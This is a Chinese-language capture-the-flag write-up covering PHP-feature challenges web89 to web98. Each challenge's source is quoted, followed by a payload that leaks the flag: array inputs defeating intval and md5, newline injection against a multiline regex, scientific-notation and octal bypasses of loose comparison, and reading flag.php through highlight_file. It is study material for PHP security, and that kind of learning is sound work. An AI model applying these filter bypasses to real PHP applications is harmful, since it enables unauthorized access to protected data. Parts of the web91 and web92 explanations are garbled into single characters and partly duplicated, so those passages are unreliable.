【从0开始学web】89-150 php特性
前言
php代码审计一直很薄弱,希望完成这部分之后能有所提升。
web89
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
关键代码
if(intval($num)){
echo $flag;
intval() 函数用于获取变量的整数值。需要拿到一个数字,但是又不被过滤掉,利用数组过滤
数组绕过,payload:?num[]=1
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
payload: ?num=4476x
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
preg_match()正则匹配,下面是一些常用的修饰符
i :ignore-不区分大小写
g:global-全局匹配
m: multi line -多行匹配
s:特殊字符圆点 . 中间包含换行符号
本题目/^php
/
i
m
,
/
p
h
p
/im ,/^php
/im,/php/i 第一个if 需要匹配到php,第二个if有不能匹配php,使用换行符绕过,第一个if处存在 m 参数,多行匹配,因此换行后无影响,第二个if 单行匹配,在换行符号后随便输入字符,即绕过
构造payload:?cmd=php%0A123
这里其实涉及到一个漏洞CVE-2017-15715 ,之后可以复现一下
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
intval()函数之前遇到过,匹配整数,
和web90类似,但是这里 == 和 ===
两个等号我们称为等值符,当等号两边的值为相同类型时比较值是否相同,类型不同时会发生类型的自动转换,转换为相同的类型后再作比较。
三个等号我们称为等同符,当等号两边的值为相同类型的时候,直接比较等号两边的值,值相同则返回true,若等号两边的值类型不同时直接返回false。
因此可以用科学计数法绕过,如4475e1在if(
n
u
m
=
=
4476
)
处
,
因
为
是
科
学
计
数
法
,
是
与
数
字
4476
同
一
类
型
,
值
不
想
等
,
到
了
i
f
(
i
n
t
v
a
l
(
num==4476)处,因为是科学计数法,是与数字4476同一类型,值不想等,到了if(intval(
num==4476)处,因为是科学计数法,是与数字4476同一类型,值不想等,到了if(intval(num,0)==4476) 则被当成字符,匹配整数后变成4476,值想等,成功绕过。
payload:?num=4476e1
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
web90和web92的综合版本
大小写字母被过滤,可以使用小数点绕过,payload:?num=4476.12
后来看了提示还可以用不同的进制进行绕过,过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
新怎加一个strpos($num, “0”)函数
函数功能:strpos() 函数查找字符串在另一字符串中第一次出现的位置。小数点绕过,匹配一个0,实质上是过滤了进制转化的方法。开头不能出现0了
payload:?num=4476.0
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
. 被过滤了,不能使用小数点了
使用空格+进制绕过
?num=+010574或者?num=%2b010574
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
绕过 == 'flag.php’的条件,高亮输出,找到flag.php的位置即可
payload:
?u=/var/www/html/flag.php
?u=./flag.php
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
md5数组绕过,值不等,md5值相等
这里是 === 强比较,弱比较的话可以百度有好多md5加密后是0e开头的,弱比较 0=0
如果传入md5 函数的不是字符串而是数组,那么就会返回null , null=null绕过
数组绕过 a[]=1&b[]=2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
没看懂
web99
未完待续…
|